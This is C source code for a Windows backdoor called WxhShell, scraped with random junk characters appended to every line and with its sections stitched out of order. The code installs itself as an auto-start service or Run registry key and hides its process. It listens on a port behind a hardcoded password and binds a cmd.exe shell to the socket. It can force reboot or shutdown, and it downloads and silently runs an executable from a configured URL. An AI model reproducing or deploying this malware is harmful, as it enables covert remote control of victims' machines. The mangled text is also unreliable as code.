    if(Boot(SHUTDOWN)) O5H9Y}i]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q5>v'ZSo  
    else { F@R1:M9*  
    closesocket(wsh); 3s"0SLS4  
    ExitThread(0); PvGDTYcKp  
    } Jvun?J m  
    break; RZ1 /#;  
    } Fu^ ^i&  
  // 获取shell t%530EB3  
  case 's': { \^#~@9  
    CmdShell(wsh); _0 gKK2  
    closesocket(wsh); _gD pKEaY  
    ExitThread(0); &YDK (&>  
    break; JsO *1{6g  
  } iMfngIs |  
  // 退出 XJ2^MF2BU  
  case 'x': { kh%{C] ".1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jYiv'6z  
    CloseIt(wsh); 9o>8o  
    break; Z'H5,)j0R  
    } &i!vd/*WlD  
  // 离开 g#]wLm#  
  case 'q': { ,RN:^5 p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "QvmqI>  
    closesocket(wsh); QMEcQV>  
    WSACleanup(); 7<H |QL&  
    exit(1); WW~+?g5  
    break; ~Y.tz`2D  
        } =V"(AuCVE  
  } t'm;:J1  
  } Gn;@{x6  
1".v6caW  
  // 提示信息  jq08=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mqq;H}  
} w1;hy"zPsj  
  } )G7=G+e;  
:W@#) 1=  
  return; ." $  
} jF[ 1za  
U\rh[0  
// shell模块句柄 d6i6hcQE  
int CmdShell(SOCKET sock) cWajrLw  
{ 1,5E `J  
STARTUPINFO si; 4Z|vnj)Z  
ZeroMemory(&si,sizeof(si)); ~SSU`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JF/,K"J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1He{v#  
PROCESS_INFORMATION ProcessInfo; @AYRiOodi  
char cmdline[]="cmd"; J~(Wf%jM~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7^T^($+6s&  
  return 0; Hi]cxD*`  
} mw5?[@G-  
WL{(Ob  
// 自身启动模式 2c?qV  
int StartFromService(void) zXsc1erli  
{ cwV]!=RtO  
typedef struct 5[n(7;+gw  
{ gl&5l1&  
  DWORD ExitStatus; r < cVp^  
  DWORD PebBaseAddress; 5{$LsL  
  DWORD AffinityMask; OxGE%R,  
  DWORD BasePriority; X>?b#Eva  
  ULONG UniqueProcessId; n&A'C\  
  ULONG InheritedFromUniqueProcessId; ^T~gEv  
}   PROCESS_BASIC_INFORMATION; CIVnCy z  
9_sA&2P{uV  
PROCNTQSIP NtQueryInformationProcess; (RtueEb.~E  
~SvC[+t+U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Zw1y@k(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y wkyq>Rv  
M# 18H<]  
  HANDLE             hProcess; .@-$5Jw  
  PROCESS_BASIC_INFORMATION pbi; [yj).*0  
u{z``]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `]P pau  
  if(NULL == hInst ) return 0; 0P>OJYFr'  
+y 87~]]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WL+]4Wiz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L#)(H^[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8QK5z;E2~  
>MJg ,  
  if (!NtQueryInformationProcess) return 0; kM`l  
Z/rTVAs@r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #yI.nzA*  
  if(!hProcess) return 0; PR|R`.QSs  
)etmE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s( <uo{  
D#S\!>m  
  CloseHandle(hProcess); 6!^[];%xN  
#0 6-:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j PnM>=  
if(hProcess==NULL) return 0; }3R13   
XYoIFv?'  
HMODULE hMod; RllY-JBO  
char procName[255]; ;WL1B   
unsigned long cbNeeded; 6WoAs)ZF  
7*DMVok:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1}ZKc=Pfu  
ob_I]~^I?|  
  CloseHandle(hProcess); fIF<g@s  
r}yG0c,  
if(strstr(procName,"services")) return 1; // 以服务启动 %r)avI  
F_uY{bg  
  return 0; // 注册表启动 3?E8\^N\n  
} /m _kn  
V#ev-\k}@  
// 主模块 7m#[!%D  
int StartWxhshell(LPSTR lpCmdLine) [Pe#kzLX  
{ $(Ugtimdv  
  SOCKET wsl; qNyzU@  
BOOL val=TRUE; /WPv\L  
  int port=0; L}#0I+Ml7  
  struct sockaddr_in door; 0N=X74  
Nx#4W1B[`H  
  if(wscfg.ws_autoins) Install(); YC]L)eafo`  
"!K'A7.^  
port=atoi(lpCmdLine); |+ge8uu?C  
<\zCpkZ'B  
if(port<=0) port=wscfg.ws_port; D}3XFuZs_  
6a}"6d/sTL  
  WSADATA data; midsnG+jnf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TO,rxf  
QCPID:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >s3gqSDR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fQ+VT|jzx  
  door.sin_family = AF_INET; @xsCXCRWVV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z['\61  
  door.sin_port = htons(port); OPBt$Ki  
UueD(T;p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z=&z_}M8  
closesocket(wsl); 0:KE@=  
return 1; e$c?}3E!z  
} <ktzT&A  
)x#5Il H  
  if(listen(wsl,2) == INVALID_SOCKET) { ]<DNo&fw  
closesocket(wsl); Pag63njg?  
return 1; a'\By?V]  
} !2:3MbtR  
  Wxhshell(wsl); iAMtejw  
  WSACleanup(); 6{d6s#|%  
5W =(+Q>C  
return 0; ~{>?*Gd&T  
4(?G6y)  
} <b+[<@wS  
,~zj=F  
// 以NT服务方式启动 Q-rL$%~='  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y<\^ 7\[x  
{ 'cDx{?  
DWORD   status = 0; zBf-8]"^  
  DWORD   specificError = 0xfffffff; !e#xx]v3  
ihT~xt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; URcR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uh.Zi3X6}6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y%]8'q$  
  serviceStatus.dwWin32ExitCode     = 0; =R*Gk4<Y  
  serviceStatus.dwServiceSpecificExitCode = 0; nD" ~?*Lt  
  serviceStatus.dwCheckPoint       = 0; )_zlrX  
  serviceStatus.dwWaitHint       = 0; RANPi\]  
#y]3LC#)^G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yj@tV2  
  if (hServiceStatusHandle==0) return; =j0x.f Se  
ANH4IYd3  
status = GetLastError(); P,gdnV ^  
  if (status!=NO_ERROR) 151tXSzLT  
{  V[pvJ(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C-P06Q]  
    serviceStatus.dwCheckPoint       = 0; c.H?4j7ga  
    serviceStatus.dwWaitHint       = 0; PBks` |+  
    serviceStatus.dwWin32ExitCode     = status; e`{0d{Nd  
    serviceStatus.dwServiceSpecificExitCode = specificError; | P6EO22p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I.}1JJF*   
    return; ;)DzC c/  
  } z}}]jR \y?  
$mco0 %$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,$r2gr!_G  
  serviceStatus.dwCheckPoint       = 0; X_; *`,<T  
  serviceStatus.dwWaitHint       = 0; %R0v5=2'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qUhRu>   
} xFp<7p L  
+-068k(  
// 处理NT服务事件,比如:启动、停止 ;~HNpu$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yeD_j/  
{ 'Tb0-1S?  
switch(fdwControl) c-XLI  
{ FYPz 4K  
case SERVICE_CONTROL_STOP: YTY%#"  
  serviceStatus.dwWin32ExitCode = 0; 4YbC(f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  e/e0d<(1  
  serviceStatus.dwCheckPoint   = 0; U2*6}c<  
  serviceStatus.dwWaitHint     = 0; `0BdMKjA  
  { a ib}`l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FyD.>ot7M  
  } @%i>XAe#0  
  return; (0*v*kYdL+  
case SERVICE_CONTROL_PAUSE: nR5bs;gk"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]>:^d%n,}  
  break; ;np_%?is  
case SERVICE_CONTROL_CONTINUE: i%(yk#=V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `rWB`q|i<  
  break; CKARg8o  
case SERVICE_CONTROL_INTERROGATE: MM#cLw  
  break; ` DCU>bt&R  
};  0V11#   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _=`x])mM  
} o0;7b>Tv  
eFQQW`J  
// 标准应用程序主函数 3_qdJ<,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +h[e0J|v{  
{ p?rK`$U+J  
;?6>mh(`  
// 获取操作系统版本 L@|#Bbmx  
OsIsNt=GetOsVer(); fDuwgY0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q G ;-o)h  
\v`#|lT$  
  // 从命令行安装 ^/KfH &E  
  if(strpbrk(lpCmdLine,"iI")) Install();  ';lfS  
|n P_<9[  
  // 下载执行文件 P!\hnm)%4  
if(wscfg.ws_downexe) { lC9S\s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I{n;4?  
  WinExec(wscfg.ws_filenam,SW_HIDE); jW5iqU"{*  
} +BB0wY  
eYP=T+  
if(!OsIsNt) { ]UUI~sFE  
// 如果时win9x,隐藏进程并且设置为注册表启动 7u%a/<  
HideProc(); IlHY%8F{  
StartWxhshell(lpCmdLine); n!.2aq  
} t!l%/$-  
else :4;S"p  
  if(StartFromService()) <%!J?  
  // 以服务方式启动 .:0M+Jr"  
  StartServiceCtrlDispatcher(DispatchTable); F/<qE!(  
else GAU!_M5N  
  // 普通方式启动 yKDZ+3xK]  
  StartWxhshell(lpCmdLine); sMi{"`37  
$v&C@l \  
return 0; |QYZRz  
} jKt-~:  
&tBA^igXK  
 R<&FhT]  
$Xt;A&l2?  
=========================================== A^pW]r=Xtk  
q:yO92Ow  
yisLypM*  
_'c+fG \  
%8Yyj{^!(  
_W9&J&l0so  
" ;QidDi_s>  
IxP^i{/1?  
#include <stdio.h> ]18Ucf  
#include <string.h> } J;~P 9Y  
#include <windows.h> S8*>kM'  
#include <winsock2.h> [2H[5<tH  
#include <winsvc.h> ;f(n.i  
#include <urlmon.h> =jUnM> 23  
"A7<XN<  
#pragma comment (lib, "Ws2_32.lib") 0ny{)Sd6um  
#pragma comment (lib, "urlmon.lib") VCf|`V~G  
0#`)Prop6  
#define MAX_USER   100 // 最大客户端连接数 l:z };  
#define BUF_SOCK   200 // sock buffer FQ##397  
#define KEY_BUFF   255 // 输入 buffer Qtnv#9%Vi  
EW;1`x  
#define REBOOT     0   // 重启 ;.0LRWcJ  
#define SHUTDOWN   1   // 关机 3uO8v{`  
[0op)Kn  
#define DEF_PORT   5000 // 监听端口 a 2Et,WA%  
JjDS"hK#  
#define REG_LEN     16   // 注册表键长度 Gt'/D>FE0  
#define SVC_LEN     80   // NT服务名长度 U9F6d!:L7A  
qL>v&Rd<  
// 从dll定义API ' fl(N2t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RO$*G jQd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! OfO:L7-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); paYz[Xq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^?sSx!:bZ  
V g6S/-  
// wxhshell配置信息 ]Da4.s*mW  
struct WSCFG { +U=KXv  
  int ws_port;         // 监听端口 u7u~  
  char ws_passstr[REG_LEN]; // 口令 ecT]p  
  int ws_autoins;       // 安装标记, 1=yes 0=no s[Gswd  
  char ws_regname[REG_LEN]; // 注册表键名 }#|2z}!  
  char ws_svcname[REG_LEN]; // 服务名 [k ~C+FI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P,`=]Y*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .)0gz!Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e#m1X6$.e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (-'PD_|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /xf.\Z7<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D9G0k[D,  
85 Dm8~  
}; /gX%ABmS  
ebD{ pc`&  
// default Wxhshell configuration 5E.vje{U;  
struct WSCFG wscfg={DEF_PORT, U 5clQiow  
    "xuhuanlingzhe", iW-t}}Z>B  
    1, =ty2_6&>  
    "Wxhshell", K]MzP|T,  
    "Wxhshell", ;Lqm#]C  
            "WxhShell Service", I2W{t l  
    "Wrsky Windows CmdShell Service", :^.u-bHI  
    "Please Input Your Password: ", O E]~@eU  
  1, CL )%p"[x  
  "http://www.wrsky.com/wxhshell.exe", _Ua PwJ  
  "Wxhshell.exe" XJ _%!  
    }; sHF%=Vu  
'1lx{U zD  
// 消息定义模块 G-s a L*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rSbQ}O4V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >["Kd.ye  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hN}5u"pS  
char *msg_ws_ext="\n\rExit."; ?Cc$]  
char *msg_ws_end="\n\rQuit."; x;*VCs  
char *msg_ws_boot="\n\rReboot..."; lvG3<ls0K$  
char *msg_ws_poff="\n\rShutdown..."; }Uq/kei^P  
char *msg_ws_down="\n\rSave to "; ![j(o!6&  
|:}L<9Sq  
char *msg_ws_err="\n\rErr!"; 0x6@{0  
char *msg_ws_ok="\n\rOK!"; 8db6(Q~P  
*eMLbU7  
char ExeFile[MAX_PATH]; /T{mS7EpYc  
int nUser = 0; |})rt5|f1!  
HANDLE handles[MAX_USER]; ruWye1X;  
int OsIsNt; w zdxw$E  
VgUvD1v?}  
SERVICE_STATUS       serviceStatus; hN!.@L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y.%i  
Us*Vn  
// 函数声明 -IGMl_s  
int Install(void); OfW%&LAMQ  
int Uninstall(void); ~LSy7$rz  
int DownloadFile(char *sURL, SOCKET wsh); YqkA&qL]#;  
int Boot(int flag); @RQ+JYQi  
void HideProc(void); .!9Vt#  
int GetOsVer(void); p^}L  
int Wxhshell(SOCKET wsl); wrhBH;3  
void TalkWithClient(void *cs); &`-_)~5]  
int CmdShell(SOCKET sock); #vnefIcBf  
int StartFromService(void); Z^6A_:]j  
int StartWxhshell(LPSTR lpCmdLine); f;&` 9s| 1  
~D$#>'C#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9T?~$XlX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wA{*W>i  
8|fLe\"  
// 数据结构和表定义 D<lQoO+  
SERVICE_TABLE_ENTRY DispatchTable[] = Cln^1N0  
{ <aD'$(N5  
{wscfg.ws_svcname, NTServiceMain}, jt0H5-x  
{NULL, NULL} VZAuUw+M  
}; W` WLW8Qsw  
&E} I  
// 自我安装 Ka[Sm|-q  
int Install(void) 0-6:AHix  
{ X L{{7%j  
  char svExeFile[MAX_PATH]; HCI'q\\  
  HKEY key; yIn/Y0No  
  strcpy(svExeFile,ExeFile); gNG0k$nP  
vsOdp:Yp9!  
// 如果是win9x系统,修改注册表设为自启动 eV@4VxaZ  
if(!OsIsNt) { `M towXj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g| _HcaW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z0EjIYI[N  
  RegCloseKey(key); #p']-No  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L{4),65  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j=`y  @~  
  RegCloseKey(key); DKe6?PG  
  return 0; aUsul'e;M  
    } 7O;BS}Lv=  
  } 3'|Uqf8  
} ]?v?Qfh2  
else { k^L#,:\&V  
GLbc/qs  
// 如果是NT以上系统,安装为系统服务 Gsx^j?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >eYU$/80  
if (schSCManager!=0) U^vUdM"  
{ tg4LE?nv  
  SC_HANDLE schService = CreateService V'Sd[*  
  ( t ?pIE cl  
  schSCManager, B<vvsp\X  
  wscfg.ws_svcname, !Qj)tS#Az  
  wscfg.ws_svcdisp, &;SwLDF"1  
  SERVICE_ALL_ACCESS, ]<&B BQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^K1~eb*K  
  SERVICE_AUTO_START, (**-"o]HH  
  SERVICE_ERROR_NORMAL, ::^qy^n  
  svExeFile, <DA{\'jJ  
  NULL, w !=_  
  NULL, #U\&i`  
  NULL, = !I8vQ>  
  NULL, u&?yPR  
  NULL b<29wL1  
  ); s0X/1Cq  
  if (schService!=0) HM(bR"E  
  { MbT ONt?~v  
  CloseServiceHandle(schService); Mo:!jS~a(Z  
  CloseServiceHandle(schSCManager); E-BOIy,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yH0yO*R Z  
  strcat(svExeFile,wscfg.ws_svcname); vu !j{%GO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9XJ9~I?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .P |+oYT&g  
  RegCloseKey(key); 7$Z)fkx.  
  return 0; T2/v}  
    } 46Y7HTwE  
  } 0{U]STj  
  CloseServiceHandle(schSCManager); tW Cv]*  
} JN;TGtB^p  
} ( FjsN5  
14@q$}sf  
return 1; DRKc&F6Qy  
} k=ior  
o}r!qL0c  
// 自我卸载 MIk #60Ab  
int Uninstall(void) |)|vG_  
{ ^6N3 nkyZ  
  HKEY key; lu G023'  
ur~Tql  
if(!OsIsNt) { FEm1^X#]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >h/)r6  
  RegDeleteValue(key,wscfg.ws_regname); _^ CQ*+F  
  RegCloseKey(key); z$8e6*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZPxOds1m  
  RegDeleteValue(key,wscfg.ws_regname); 1A)wbH)  
  RegCloseKey(key); kcma/d  
  return 0; WL]Wu.k  
  } )M|O;~q  
} ^Xt]wl*]+  
} H;b'"./  
else { P}.yEta  
]/<Qn-BbU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y$r?t0  
if (schSCManager!=0) G}9bC r,  
{ Zo}\gg3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .LGkr@P  
  if (schService!=0) fd,}YAiX  
  { 6f5sIg  
  if(DeleteService(schService)!=0) { =5s~$C  
  CloseServiceHandle(schService); LNyL>VHkK  
  CloseServiceHandle(schSCManager); ~NxoF  
  return 0; h!t2H6eyF  
  } p[k9C$@e}  
  CloseServiceHandle(schService); +"N<-  
  } ~YT>:Np  
  CloseServiceHandle(schSCManager); (`uC"MLk  
} o<Rxt *B  
} ,Rr&.  
}ii]c Y  
return 1; [w#x5Xsn  
} dTU.XgX)1^  
k{u%p<  
// 从指定url下载文件 ]( U%1  
int DownloadFile(char *sURL, SOCKET wsh) oN1wrf}Sh  
{ l66ipgw_^I  
  HRESULT hr; no\}aTx  
char seps[]= "/"; ;>QK}#'  
char *token; WkU) I2oH  
char *file; Tr}$Pb1  
char myURL[MAX_PATH]; NNREt:+kr  
char myFILE[MAX_PATH]; g^<q L|  
ke;*uS  
strcpy(myURL,sURL); d= T9mj.@  
  token=strtok(myURL,seps); ]= QCCC  
  while(token!=NULL) +_|cZlQ&  
  { H$qdU!c  
    file=token; DT7-v4Zd  
  token=strtok(NULL,seps); T$8$9D_u  
  } :BZx ) HxQ  
oRJP5Y5na  
GetCurrentDirectory(MAX_PATH,myFILE); (1r>50Ge  
strcat(myFILE, "\\"); ,[K)E  
strcat(myFILE, file); n9-q5X^e>  
  send(wsh,myFILE,strlen(myFILE),0); 2YP"nj#  
send(wsh,"...",3,0); @T~#Gwv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7gR;   
  if(hr==S_OK) `$x#_-Hn  
return 0; o._#=7|(  
else 7+Jma!o  
return 1; 2M( PH]D  
BoiIr[ (  
} kvO`]>#;$?  
%N_S/V0`  
// 系统电源模块 Ll E_{||h  
int Boot(int flag) J/P@m_Yx  
{ +EB,7<5<  
  HANDLE hToken; 0.+Z;j  
  TOKEN_PRIVILEGES tkp; $nd-[xV  
~PS2[5yo  
  if(OsIsNt) { TXvt0&-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^>R|R1&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KlX |PQ  
    tkp.PrivilegeCount = 1; bEXHB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I>4Tbwy.-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /Geks/  
if(flag==REBOOT) { Qmc;s{-r;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .Mft+,"  
  return 0; `\u),$  
} [{!j9E?(  
else { $E@.G1T [  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) - 9<yB  
  return 0; ,tv9+n@x  
} Ai_|)  
  } q!h*3mNm  
  else { )b2E/G@X&  
if(flag==REBOOT) { yW=hnV{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `R=_t]ie  
  return 0; Vi -!E  
} AYQh=$)(  
else { CH_Dat >  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h*X%:UbW  
  return 0; . eag84_  
} =`.5b:e  
} `q{'_\gVt(  
>D^7v(&  
return 1; _(s|Q  
} {4jSj0W  
{c EK z\RX  
// win9x进程隐藏模块 %m\G'hY2  
void HideProc(void) LVcy.kU@]  
{ ppo$&W &z  
H=SMDj)s+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mt6uW+t/  
  if ( hKernel != NULL ) Pv$"DEXA2  
  { 6g,3s?aT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8{=( #]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7/$Z7J!k  
    FreeLibrary(hKernel); (a4y1k t-  
  } J3}C T  
m_ONsZHy  
return; jE5 9h  
} Fu$Gl$qV?%  
O09g b[  
// 获取操作系统版本 `[u>NEb  
int GetOsVer(void) !";$Zu  
{ 27i<6PAC[A  
  OSVERSIONINFO winfo; NTX+7<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [-94=|S @  
  GetVersionEx(&winfo); iW%0pLn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,7$uh):  
  return 1; Dq1XZ%8  
  else %1d6j<7  
  return 0; ?@BaBU:o`F  
} 7}7C0mV3  
BCDf9]X  
// 客户端句柄模块 ]qG5 Ne _  
int Wxhshell(SOCKET wsl) n~cm?"  
{ 8i$`oMv[y  
  SOCKET wsh; #:5g`Ch4,  
  struct sockaddr_in client; ~ 5qZs"ks  
  DWORD myID; f6A['<%o  
F"? *@L  
  while(nUser<MAX_USER) ?BZ`mrH^  
{ X1QZEl  
  int nSize=sizeof(client); k#G7`dJl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (dnc7KrM  
  if(wsh==INVALID_SOCKET) return 1; K]Cs2IpI  
iK0J{'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >bP7}T  
if(handles[nUser]==0) a_MnQ@  
  closesocket(wsh); QF6JZQh<  
else F&j|Y>m  
  nUser++; p" W0$t.  
  } z`{zqP:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l]=$<  
EF{'J8AQ  
  return 0; <g1hdF0  
} yFtf~8s3  
T:5%sN;#O  
// 关闭 socket siZ_JJW  
void CloseIt(SOCKET wsh) L. ?dI82c  
{ gx R|S  
closesocket(wsh); W 9MZ  
nUser--; }n8;A;axi  
ExitThread(0); 4gt "dfy+  
} ON! G{=7  
l'8wPmy%N  
// 客户端请求句柄 <G=@Gl  
void TalkWithClient(void *cs) k(Xv&Zn  
{ 4^9_E &Fa  
yp'>+cLa  
  SOCKET wsh=(SOCKET)cs; A>@e pCD  
  char pwd[SVC_LEN]; l+qtA~V&2  
  char cmd[KEY_BUFF]; <T[ui  
char chr[1]; epyYo&x}  
int i,j; m)w- mc  
-\v8i.w0  
  while (nUser < MAX_USER) { 3`8xh 9O  
$ !=:ES  
if(wscfg.ws_passstr) { [<$d@}O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8uW:_t]q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PX/0  jv  
  //ZeroMemory(pwd,KEY_BUFF); ?2>v5p  
      i=0; .Sw'Bo!Ee  
  while(i<SVC_LEN) { =xP{f<`   
7OHw/-j\  
  // 设置超时 nOzT Hg8  
  fd_set FdRead; |H@p^.;  
  struct timeval TimeOut; glIIJ5d|,  
  FD_ZERO(&FdRead); IcA~f@  
  FD_SET(wsh,&FdRead); eZ$1|Sj]j  
  TimeOut.tv_sec=8; {-qTU6  
  TimeOut.tv_usec=0; k= 1+mG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jtk(yp{Zz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [p<[83' ]  
^C T}i'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8nR,GW\  
  pwd=chr[0]; P$(}}@  
  if(chr[0]==0xd || chr[0]==0xa) { $o H,:x?}  
  pwd=0; @b({QM|  
  break; Q(7l<z  
  } _3>zi.J/  
  i++; zjE4v-H:l  
    } cNv c pv  
( "z;Q?(  
  // 如果是非法用户,关闭 socket S3wH M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9hpM*wt  
} YNk|UwJi  
ZM!~M>B9R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Jx?>1q=M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #C}(7{Vt  
7?#32B Gr  
while(1) { 54%}JA][  
JFdzA  
  ZeroMemory(cmd,KEY_BUFF); [)u{-  
:E*U*#h/  
      // 自动支持客户端 telnet标准   NWj@iyi<  
  j=0; C =U4|h~W  
  while(j<KEY_BUFF) { KHiJOeLc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OO>2oH  
  cmd[j]=chr[0]; pBLO  
  if(chr[0]==0xa || chr[0]==0xd) { ??Ac=K\  
  cmd[j]=0; 1^dWmxUZH  
  break; L,L7WObA  
  } @kymL8"2w  
  j++; v:;cTX=x`#  
    } 5!*a,$S  
q>X 2=&1  
  // 下载文件 D3ad2vH  
  if(strstr(cmd,"http://")) { 4F!d V;"Z(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [N)M]u  
  if(DownloadFile(cmd,wsh)) =Y[Ae7e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LcF3P 4  
  else :LG%8Z{R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TaG-^bX8B  
  } pXa? Q@ 6  
  else { N3) v,S-  
~G:7*:[b  
    switch(cmd[0]) { cw{[B%vw  
  Y?cw9uYB  
